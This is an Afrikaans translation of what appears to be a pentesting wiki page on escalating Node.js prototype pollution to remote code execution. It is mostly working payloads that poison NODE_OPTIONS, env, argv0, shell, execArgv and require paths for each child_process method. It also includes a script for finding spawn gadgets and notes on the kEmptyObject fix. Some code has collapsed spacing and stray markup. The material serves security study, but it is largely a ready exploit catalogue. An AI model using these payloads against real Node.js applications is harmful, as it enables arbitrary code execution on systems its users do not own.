Stel jou 'n werklike JS voor wat van 'n kode gebruik maak soos die volgende:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE via omgewingsveranderlikes
PP2RCE beteken Prototype Pollution to RCE (Remote Code Execution).
Volgens hierdie verslag wanneer 'n proses geskep word met 'n sekere metode van child_process (soos fork of spawn of ander) roep dit die metode normalizeSpawnArguments aan wat 'n prototype pollution gadget is om nuwe omgewingsveranderlikes te skep:
Merk op dat as gevolg van hoe die normalizeSpawnArguments funksie van die child_process biblioteek van node werk, wanneer iets geroep word om 'n nuwe omgewingsveranderlike in te stel vir die proses, hoef jy net iets te vergiftig.
Byvoorbeeld, as jy __proto__.avar="valuevar" doen, sal die proses geskep word met 'n var genaamd avar met waarde valuevar.
Maar, sodat die omgewingsveranderlike die eerste een moet wees, moet jy die .env attribuut vergiftig en (slegs in sommige metodes) sal daardie var die eerste een wees (wat die aanval moontlik maak).
Dit is waarom NODE_OPTIONSnie binne .env is in die volgende aanval nie.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Vergiftiging van constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE via omgewingsveranderlikes + opdraglyn
'n Soortgelyke lading as die vorige een met 'n paar veranderinge is voorgestel in hierdie skrywe. Die hoofverskille is:
In plaas van om die nodejs lading binne die lêer /proc/self/environ te stoor, stoor dit dit in argv0 van /proc/self/cmdline.
Dan, in plaas van om via NODE_OPTIONS die lêer /proc/self/environ te vereis, vereis dit /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interaksie
Deur die volgende ladingstukke te gebruik, is dit moontlik om die NODE_OPTIONS omgewingsveranderlike te misbruik wat ons vantevore bespreek het en te bepaal of dit werk met 'n DNS-interaksie:
In hierdie afdeling gaan ons elke funksie van child_process analiseer om kode uit te voer en sien of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
exec uitbuiting
```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');
</details>
<details>
<summary><strong><code>execFile</code> uitbuiting</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');
// stdin trick - not working
// Not using stdin
// Windows - not working
Vir execFile om te werk, MOET node uitgevoer word vir die NODE_OPTIONS om te werk.
As dit nienode uitvoer nie, moet jy vind hoe jy die uitvoering van wat ookal dit uitvoer kan verander met omgewingsveranderlikes en hulle instel.
Die ander tegnieke werk sonder hierdie vereiste omdat dit moontlik is omwat uitgevoer word te wysig deur middel van prototipe besoedeling. (In hierdie geval, selfs as jy .shell kan besoedel, sal jy nie besoedel wat uitgevoer word nie).
fork uitbuiting
// environ trick - working// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =fork('something');// cmdline trick - working// Working after kEmptyObject (fix)const { fork } =require('child_process');p = {}p.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =fork('something');// stdin trick - not working// Not using stdin// execArgv trick - working// Only the fork method has this attribute// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.execPath ="/bin/sh"b.__proto__.argv0 ="/bin/sh"b.__proto__.execArgv = ["-c","touch /tmp/fork-execArgv"]var proc =fork('./a_file.js');// Windows// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.execPath ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =fork('./a_file.js');
spawn uitbuiting
```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working // Not using stdin
// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)
</details>
<details>
<summary><strong><code>execFileSync</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync uitbuiting
```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');
// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');
// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');
</details>
<details>
<summary><strong><code>spawnSync</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Afdwing van Spawn
In die vorige voorbeelde het jy gesien hoe om die gadget 'n funksionaliteit te aktiveer wat spawn aanroep, moet teenwoordig wees (alle metodes van child_process wat gebruik word om iets uit te voer, roep dit aan). In die vorige voorbeeld was dit deel van die kode, maar wat as die kode dit nie aanroep nie.
Beheer van 'n vereis lêerpad
In hierdie ander skrywe kan die gebruiker die lêerpad beheer waar 'n require uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n .js-lêer binne die stelsel te vind wat 'n spawn-metode sal uitvoer wanneer dit ingevoer word.
Sommige voorbeelde van algemene lêers wat 'n spawn-funksie aanroep wanneer dit ingevoer word, is:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Vind meer lêers hieronder
Die volgende eenvoudige skripsie sal soek na oproepe van child_process sonder enige opvulling (om te verhoed dat oproepe binne funksies vertoon word):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interessante lêers wat deur die vorige skrip gevind is
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Stel vereis lêerpad in deur middel van prototipe besoedeling
Die vorige tegniek vereis dat die gebruiker die pad van die lêer beheer wat vereis gaan word. Maar dit is nie altyd waar nie.
Nietemin, as die kode 'n vereis gaan uitvoer na die prototipe besoedeling, selfs as jy nie die pad beheer nie wat vereis gaan word nie, kan jy 'n ander een afdwing deur die prototipe besoedeling te misbruik. Selfs as die kodelyn soos require("./a_file.js") of require("bytes") is, sal dit die gepolluteerde pakket vereis.
Daarom, as 'n vereis uitgevoer word na jou prototipe besoedeling en geen spawn-funksie nie, is hierdie die aanval:
Vind 'n .js lêer binne die stelsel wat wanneer vereis word iets sal uitvoer deur child_process
As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
Besoedel die paaie om die vereis lading van die .js lêer te dwing wat iets met child_process sal uitvoer
Besoedel die environ/cmdline om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie geroep word (sien die aanvanklike tegnieke)
Absolute vereis
As die uitgevoerde vereis absoluut is (require("bytes")) en die pakket nie main bevat in die package.json lêer nie, kan jy die main attribuut besoedel en die vereis om 'n ander lêer uit te voer.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Relatiewe vereis - 1
Indien 'n relatiewe pad gelaai word in plaas van 'n absolute pad, kan jy node laat 'n ander pad laai:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relatiewe vereis - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relatiewe vereis - 3
Soortgelyk aan die vorige een, is hierdie gevind in hierdie skryfstuk.
In die artikel https://arxiv.org/pdf/2207.11171.pdf word ook aangedui dat die beheer van contextExtensions van sommige metodes van die vm biblioteek as 'n gadget gebruik kan word.
Nietemin, soos die vorige child_process metodes, is dit reggestel in die nuutste weergawes.
Regstellings & Onverwagte beskerming
Let asseblief daarop dat prototipe besoedeling werk as die eienskap van 'n voorwerp wat geaksepteer word, onbepaald is. As in die kode daardie eienskap 'n waarde het, sal jy dit nie kan oorskryf nie.
In Junie 2022 vanaf hierdie commit is die var options in plaas van 'n {} 'n kEmptyObject. Dit voorkom prototipe besoedeling van die eienskappe van options om RCE te verkry.
Ten minste vanaf v18.4.0 is hierdie beskerming geïmplementeer, en dus werk die spawn en spawnSyncaanvalle wat die metodes affekteer nie meer nie (as geen options gebruik word!).
In hierdie commit was die prototipe besoedeling van contextExtensions van die vm biblioteek ook soort van reggestel deur die opsies na kEmptyObject in plaas van {} te stel.